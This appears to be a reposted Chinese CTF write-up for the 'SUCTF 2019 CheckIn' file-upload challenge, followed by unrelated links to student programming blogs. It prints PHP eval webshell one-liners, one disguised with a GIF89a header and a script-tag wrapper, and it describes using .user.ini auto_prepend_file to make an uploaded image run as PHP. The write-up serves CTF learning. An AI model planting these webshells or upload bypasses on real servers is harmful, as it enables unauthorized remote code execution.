web17([SUCTF 2019]CheckIn):

news/2025/2/26 4:42:31/文章来源:https://www.cnblogs.com/halfbrackets/p/18564499

1.进入页面发现是文件上传题(CTRL+U后发现源代码无提示)--->上传包含一句话木马的.php文件(之后抓包修改filename和content-type还是不行)和.htaccess文件发现存在过滤
(1)1.php文件:illegal suffix!
一句话木马:<?php @eval($_POST['a']) ?>

(2)抓包修改的记录:illegal suffix!

.htaccess:exif_imagetype文件:not image!

exif_imagetype()函数用于判断图像的类型,会读取文件的第一个字节并检测前面
tips:可以给文件内容第一行加上GIF89a绕过(这是GIF文件的文件头的Ascii码)
如果没有使用<script>绕过检测会报错 "<? in content" (过滤了 <?)
2.在使用<script></script>包裹一句话木马后在上一行加上"GIF89a",最后抓包修改filename和content-type绕过检测(上传成功)

修改后的一句话木马:

GIF89a
<script language='php'>eval($_REQUEST['a']);</script>

因为上传的文件还是图片所以要想办法转化成php代码运行,但是".htaccess"又被限制不能使用,只能使用.user.ini配置文件绕过了

3.上传".user.ini"文件将之前上传的2.gif文件作为php代码运行(上传成功)
4.将回显拼接成URL地址后登录蚁剑--->在服务器的根目录找到flag


index.php在upload和文件后面
所以url:
` ``
"网页地址(去掉index.php)"+/uploads/"回显的路径"+/index.php
http://ffa5fa0f-f5dc-49ac-95df-ad5fb308da2f.node5.buuoj.cn:81/uploads/ec53bc853c0c94f2bf546edd1a265425/index.php//例如

FLAG:flag{d9154f71-fa3e-463c-9546-8b516b44324b}
知识点: .user.ini 配置文件
.user.ini是php的默认配置文件常用命令:auto_prepend_file:指定在每个PHP脚本之前自动加载的文件。该文件的内容将被插入到原始脚本的顶部。例如,auto_prepend_file = "/path/to/prepend.php"。auto_append_file:指定在每个PHP脚本之后自动加载的文件。该文件的内容将被插入到原始脚本的末尾。例如,auto_append_file = "/path/to/append.php"。特点是上传时需要目录下存在.php文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/840017.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个极易踩坑的例子,希望大家引以为戒

一个极易踩坑的例子,希望大家引以为戒。这是一个非常非常简单基础的例子,其实稍微有点经验的程序员都应该避免,只是有时候大意疏忽会导致各种各样的问题。前言 最近在写需求的过程中,需要返回给前端一个字段,表示账单是否结清,那么理所当然的我把这个字段命名为了isSettl…

学期:2024-2025-1 学号:20241303 《计算机基础与程序设计》第九周学习总结

作业信息这个作业属于哪个课程 <班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(如2024-2025-1计算机基础与程序设计第九周作业)这个作业的目标 <写上具体方面> 计算机科学概论(第七版)第10,11章 并完成云班课测…

Java大作业4-6次总结性BLOG

前言本次BLOG由第4到6次的大作业答题判题程序- 4、家居强电电路模拟程序- 1和家居强电电路模拟程序 -2组成,其中答题判断程序-4由前三次迭代升级而来,涉及到填空题、单选题、多选题等多种题目的存储计算和判分逻辑。家居强电电路模拟程序为新的题目集,家居强电电路模拟程序1…

对于答题判断程序-4以及家居强电电路模拟程序1-2的总结性Blog

一、前言相关知识点:1、答题判断程序-4在前面答题判断程序-3的基础上增加了更多的输入格式判断以及对于边界条件情况的处理,对于面对对象编程的概念进一步的深化了。2、家居强电电路模拟程序-1从此次的大作业开始使用了抽象类的继承,以及对于电路中相关数据的计算进行了模拟…

答题判题程序终章与家居强电电路模拟程序

题目要求1.设计实现答题程序,模拟一个小型的测试,要求输入题目信息、试卷信息、答题信息、学生信息、删除题目信息,根据输入题目信息中的标准答案判断答题的结果 家居强电电路模拟程序2.智能家居是在当下家庭中越来越流行的一种配置方案,它通过物联网技术将家中的各种设备(…

题目4 - 6 总结

一、前言 在完成题目集 4 - 6 的编程实践过程中,经历了一系列从基础数据处理到较为复杂的电路设备模拟及分析等不同层次的任务挑战,每一次的题目集都犹如一次知识与技能的深度探索之旅,不仅拓宽了知识面,更在编程思维与实践能力方面得到了显著的提升。 (一)知识点覆盖 题…

02在ubuntu18.04上面搭建python环境

一、安装python3.6 # 1、python版本 python3.6 (1)更新包列表 sudo apt-get update (2)更新已安装的包 sudo apt-get upgrade 这里会显示无法获得锁---(问题1),解决之后系统提示“您希望继续执行吗?输入y” 这个命令执行时间有点久需要耐心等待。 (3)安装python3.6 sud…

Blog-2 题目集4~6的总结

22207203-陈思思 一、 前言 (一) 第4次题目集(答题判题程序4)知识点主要是类与对象、继承与多态、集合、正则表达式、业务逻辑的处理和设计模式的初步应用等。定义了多个类,每个类都进行了封装。集合方面,使用了 Map来存储问题、考试卷和学生信息,通过键值对快速访问;使…

MySQL原理简介—1.SQL的执行流程

大纲(2426字) 1.MySQL驱动的作用 2.Java系统中的数据库连接池的作用 3.MySQL中的数据库连接池的作用 4.网络连接必须让线程来处理 5.SQL接口会负责处理接收到的SQL语句 6.查询解析器会让MySQL读懂SQL语句 7.查询优化器会选择最优的查询路径 8.调用存储引擎接口来真正执行SQL语句…

22207203-陈思思

** Blog-2 题目集4~6的总结** 一、 前言 (一) 第4次题目集(答题判题程序4)知识点主要是类与对象、继承与多态、集合、正则表达式、业务逻辑的处理和设计模式的初步应用等。定义了多个类,每个类都进行了封装。集合方面,使用了 Map来存储问题、考试卷和学生信息,通过键值对…

2024-2025-1 20241403 《计算机基础与程序设计》第九周学习总结

2024-2025-1 20241403 《计算机基础与程序设计》第九周学习总结 作业信息这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(2024-2025-1计算机基础与程序设计第九周作业)这个作业的目标 操作系统责任 内…